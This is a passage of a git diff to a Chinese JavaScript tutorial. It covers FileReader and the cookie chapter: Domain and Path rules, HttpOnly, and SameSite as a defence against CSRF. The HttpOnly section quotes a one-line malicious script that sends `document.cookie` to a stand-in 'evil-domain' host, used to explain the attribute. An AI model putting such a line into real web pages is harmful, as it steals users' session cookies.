对象以后,可以通过`FileReader`对象,读取 Blob 对象的内容,即文件内容。 + +FileReader 对象提供四个方法,处理 Blob 对象。Blob 对象作为参数传入这些方法,然后以指定的格式返回。 + +- `FileReader.readAsText()`:返回文本,需要指定文本编码,默认为 UTF-8。 +- `FileReader.readAsArrayBuffer()`:返回 ArrayBuffer 对象。 +- `FileReader.readAsDataURL()`:返回 Data URL。 +- `FileReader.readAsBinaryString()`:返回原始的二进制字符串。 + +下面是`FileReader.readAsText()`方法的例子,用来读取文本文件。 + +```javascript +// HTML 代码如下 +// +//
+function readfile(f) { + var reader = new FileReader(); + reader.readAsText(f); + reader.onload = function () { + var text = reader.result; + var out = document.getElementById('output'); + out.innerHTML = ''; + out.appendChild(document.createTextNode(text)); + } + reader.onerror = function(e) { + console.log('Error', e); + }; +} +``` + +上面代码中,通过指定 FileReader 实例对象的`onload`监听函数,在实例的`result`属性上拿到文件内容。 + +下面是`FileReader.readAsArrayBuffer()`方法的例子,用于读取二进制文件。 + +```javascript +// HTML 代码如下 +// +function typefile(file) { + // 文件开头的四个字节,生成一个 Blob 对象 + var slice = file.slice(0, 4); + var reader = new FileReader(); + // 读取这四个字节 + reader.readAsArrayBuffer(slice); + reader.onload = function (e) { + var buffer = reader.result; + // 将这四个字节的内容,视作一个32位整数 + var view = new DataView(buffer); + var magic = view.getUint32(0, false); + // 根据文件的前四个字节,判断它的类型 + switch(magic) { + case 0x89504E47: file.verified_type = 'image/png'; break; + case 0x47494638: file.verified_type = 'image/gif'; break; + case 0x25504446: file.verified_type = 'application/pdf'; break; + case 0x504b0304: file.verified_type = 'application/zip'; break; + } + console.log(file.name, file.verified_type); + }; +} +``` + diff --git a/docs/bom/cookie.md b/docs/bom/cookie.md index 539a8e7..e0ae045 100644 --- a/docs/bom/cookie.md +++ b/docs/bom/cookie.md @@ -2,43 +2,53 @@ ## 概述 -Cookie 是服务器保存在浏览器的一小段文本信息,每个 Cookie 的大小一般不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。 +Cookie 是服务器保存在浏览器的一小段文本信息,一般大小不能超过4KB。浏览器每次向服务器发出请求,就会自动附上这段信息。 -Cookie 主要用来分辨两个请求是否来自同一个浏览器,以及用来保存一些状态信息。它的常用场合有以下一些。 +HTTP 协议不带有状态,有些请求需要区分状态,就通过 Cookie 附带字符串,让服务器返回不一样的回应。举例来说,用户登录以后,服务器往往会在网站上留下一个 Cookie,记录用户编号(比如`id=1234`),以后每次浏览器向服务器请求数据,就会带上这个字符串,服务器从而知道是谁在请求,应该回应什么内容。 -- 对话(session)管理:保存登录、购物车等需要记录的信息。 -- 个性化:保存用户的偏好,比如网页的字体大小、背景色等等。 -- 追踪:记录和分析用户行为。 +Cookie 的目的就是区分用户,以及放置状态信息,它的使用场景主要如下。 -有些开发者使用 Cookie 作为客户端储存。这样做虽然可行,但是并不推荐,因为 Cookie 的设计目标并不是这个,它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端储存应该使用 Web storage API 和 IndexedDB。 +- 对话(session)管理:保存登录状态、购物车等需要记录的信息。 +- 个性化信息:保存用户的偏好,比如网页的字体大小、背景色等等。 +- 追踪用户:记录和分析用户行为。 -Cookie 包含以下几方面的信息。 +Cookie 不是一种理想的客户端存储机制。它的容量很小(4KB),缺乏数据操作接口,而且会影响性能。客户端存储建议使用 Web storage API 和 IndexedDB。只有那些每次请求都需要让服务器知道的信息,才应该放在 Cookie 里面。 + +每个 Cookie 都有以下几方面的元数据。 - Cookie 的名字 - Cookie 的值(真正的数据写在这里面) -- 到期时间 -- 所属域名(默认是当前域名) -- 生效的路径(默认是当前网址) +- 到期时间(超过这个时间会失效) +- 所属域名(默认为当前域名) +- 生效的路径(默认为当前网址) + +举例来说,用户访问网址`www.example.com`,服务器在浏览器写入一个 Cookie。这个 Cookie 的所属域名为`www.example.com`,生效路径为根路径`/`。 -举例来说,用户访问网址`www.example.com`,服务器在浏览器写入一个 Cookie。这个 Cookie 就会包含`www.example.com`这个域名,以及根路径`/`。这意味着,这个 Cookie 对该域名的根路径和它的所有子路径都有效。如果路径设为`/forums`,那么这个 Cookie 只有在访问`www.example.com/forums`及其子路径时才有效。以后,浏览器一旦访问这个路径,浏览器就会附上这段 Cookie 发送给服务器。 +如果 Cookie 的生效路径设为`/forums`,那么这个 Cookie 只有在访问`www.example.com/forums`及其子路径时才有效。以后,浏览器访问某个路径之前,就会找出对该域名和路径有效,并且还没有到期的 Cookie,一起发送给服务器。 -浏览器可以设置不接受 Cookie,也可以设置不向服务器发送 Cookie。`window.navigator.cookieEnabled`属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。 +用户可以设置浏览器不接受 Cookie,也可以设置不向服务器发送 Cookie。`window.navigator.cookieEnabled`属性返回一个布尔值,表示浏览器是否打开 Cookie 功能。 ```javascript -// 浏览器是否打开 Cookie 功能 window.navigator.cookieEnabled // true ``` `document.cookie`属性返回当前网页的 Cookie。 ```javascript -// 当前网页的 Cookie -document.cookie +document.cookie // "id=foo;key=bar" +``` + +不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过 4KB。超过限制以后,Cookie 将被忽略,不会被设置。 + +Cookie 是按照域名区分的,`foo.com`只能读取自己放置的 Cookie,无法读取其他网站(比如`bar.com`)放置的 Cookie。一般情况下,一级域名也不能读取二级域名留下的 Cookie,比如`mydomain.com`不能读取`subdomain.mydomain.com`设置的 Cookie。但是有一个例外,设置 Cookie 的时候(不管是一级域名设置的,还是二级域名设置的),明确将`domain`属性设为一级域名,则这个域名下面的各级域名可以共享这个 Cookie。 + +```http +Set-Cookie: name=value; domain=mydomain.com ``` -不同浏览器对 Cookie 数量和大小的限制,是不一样的。一般来说,单个域名设置的 Cookie 不应超过30个,每个 Cookie 的大小不能超过4KB。超过限制以后,Cookie 将被忽略,不会被设置。 +上面示例中,设置 Cookie 时,`domain`属性设为`mydomain.com`,那么各级的子域名和一级域名都可以读取这个 Cookie。 -浏览器的同源政策规定,两个网址只要域名相同和端口相同,就可以共享 Cookie(参见《同源政策》一章)。注意,这里不要求协议相同。也就是说,`http://example.com`设置的 Cookie,可以被`https://example.com`读取。 +注意,区分 Cookie 时不考虑协议和端口。也就是说,`http://example.com`设置的 Cookie,可以被`https://example.com`或`http://example.com:8080`读取。 ## Cookie 与 HTTP 协议 @@ -165,15 +175,25 @@ Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; ### Domain,Path -`Domain`属性指定浏览器发出 HTTP 请求时,哪些域名要附带这个 Cookie。如果没有指定该属性,浏览器会默认将其设为当前域名,这时子域名将不会附带这个 Cookie。比如,`example.com`不设置 Cookie 的`domain`属性,那么`sub.example.com`将不会附带这个 Cookie。如果指定了`domain`属性,那么子域名也会附带这个 Cookie。如果服务器指定的域名不属于当前域名,浏览器会拒绝这个 Cookie。 +`Domain`属性指定 Cookie 属于哪个域名,以后浏览器向服务器发送 HTTP 请求时,通过这个属性判断是否要附带某个 Cookie。 + +服务器设定 Cookie 时,如果没有指定 Domain 属性,浏览器会默认将其设为浏览器的当前域名。如果当前域名是一个 IP 地址,则不得设置 Domain 属性。 + +如果指定 Domain 属性,需要遵守下面规则:Domain 属性只能是当前域名或者当前域名的上级域名,但设为上级域名时,不能设为顶级域名或公共域名。(顶级域名指的是 .com、.net 这样的域名,公共域名指的是开放给外部用户设置子域名的域名,比如 github.io。)如果不符合上面这条规则,浏览器会拒绝设置这个 Cookie。 + +举例来说,当前域名为`x.y.z.com`,那么 Domain 属性可以设为`x.y.z.com`,或者`y.z.com`,或者`z.com`,但不能设为`foo.x.y.z.com`,或者`another.domain.com`。 -`Path`属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,`Path`属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,`PATH`属性是`/`,那么请求`/docs`路径也会包含该 Cookie。当然,前提是域名必须一致。 +另一个例子是,当前域名为`wangdoc.github.io`,则 Domain 属性只能设为`wangdoc.github.io`,不能设为`github.io`,因为后者是一个公共域名。 + +浏览器发送 Cookie 时,Domain 属性必须与当前域名一致,或者是当前域名的上级域名(公共域名除外)。比如,Domain 属性是`y.z.com`,那么适用于`y.z.com`、`x.y.z.com`、`foo.x.y.z.com`等域名。再比如,Domain 属性是公共域名`github.io`,那么只适用于`github.io`这个域名本身,不适用于它的子域名`wangdoc.github.io`。 + +`Path`属性指定浏览器发出 HTTP 请求时,哪些路径要附带这个 Cookie。只要浏览器发现,`Path`属性是 HTTP 请求路径的开头一部分,就会在头信息里面带上这个 Cookie。比如,`Path`属性是`/`,那么请求`/docs`路径也会包含该 Cookie。当然,前提是 Domain 属性必须符合条件。 ### Secure,HttpOnly `Secure`属性指定浏览器只有在加密协议 HTTPS 下,才能将这个 Cookie 发送到服务器。另一方面,如果当前协议是 HTTP,浏览器会自动忽略服务器发来的`Secure`属性。该属性只是一个开关,不需要指定值。如果通信是 HTTPS 协议,该开关自动打开。 -`HttpOnly`属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是`Document.cookie`属性、`XMLHttpRequest`对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。 +`HttpOnly`属性指定该 Cookie 无法通过 JavaScript 脚本拿到,主要是`document.cookie`属性、`XMLHttpRequest`对象和 Request API 都拿不到该属性。这样就防止了该 Cookie 被脚本读到,只有浏览器发出 HTTP 请求时,才会带上该 Cookie。 ```javascript (new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie; @@ -181,6 +201,95 @@ Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; 上面是跨站点载入的一个恶意脚本的代码,能够将当前网页的 Cookie 发往第三方服务器。如果设置了一个 Cookie 的`HttpOnly`属性,上面代码就不会读到该 Cookie。 +### SameSite + +Chrome 51 开始,浏览器的 Cookie 新增加了一个`SameSite`属性,用来防止 CSRF 攻击和用户追踪。 + +Cookie 往往用来存储用户的身份信息,恶意网站可以设法伪造带有正确 Cookie 的 HTTP 请求,这就是 CSRF 攻击。举例来说,用户登陆了银行网站`your-bank.com`,银行服务器发来了一个 Cookie。 + +```http +Set-Cookie:id=a3fWa; +``` + +用户后来又访问了恶意网站`malicious.com`,上面有一个表单。 + +```html + +``` + +用户一旦被诱骗发送这个表单,银行网站就会收到带有正确 Cookie 的请求。为了防止这种攻击,官网的表单一般都带有一个随机 token,官网服务器通过验证这个随机 token,确认是否为真实请求。 + +```html + +``` + +这种第三方网站引导而附带发送的 Cookie,就称为第三方 Cookie。它除了用于 CSRF 攻击,还可以用于用户追踪。比如,Facebook 在第三方网站插入一张看不见的图片。 + +```html + +``` + +浏览器加载上面代码时,就会向 Facebook 发出带有 Cookie 的请求,从而 Facebook 就会知道你是谁,访问了什么网站。 + +Cookie 的`SameSite`属性用来限制第三方 Cookie,从而减少安全风险。它可以设置三个值。 + +> - Strict +> - Lax +> - None + +**(1)Strict** + +`Strict`最为严格,完全禁止第三方 Cookie,跨站点时,任何情况下都不会发送 Cookie。换言之,只有当前网页的 URL 与请求目标一致,才会带上 Cookie。 + +```http +Set-Cookie: CookieName=CookieValue; SameSite=Strict; +``` + +这个规则过于严格,可能造成非常不好的用户体验。比如,当前网页有一个 GitHub 链接,用户点击跳转就不会带有 GitHub 的 Cookie,跳转过去总是未登陆状态。 + +**(2)Lax** + +`Lax`规则稍稍放宽,大多数情况也是不发送第三方 Cookie,但是导航到目标网址的 Get 请求除外。 + +```html +Set-Cookie: CookieName=CookieValue; SameSite=Lax; +``` + +导航到目标网址的 GET 请求,只包括三种情况:链接,预加载请求,GET 表单。详见下表。 + +| 请求类型 | 示例 | 正常情况 | Lax | +|-----------|:------------------------------------:|------------:|-------------| +| 链接 | `` | 发送 Cookie | 发送 Cookie | +| 预加载 | `` | 发送 Cookie | 发送 Cookie | +| GET 表单 | `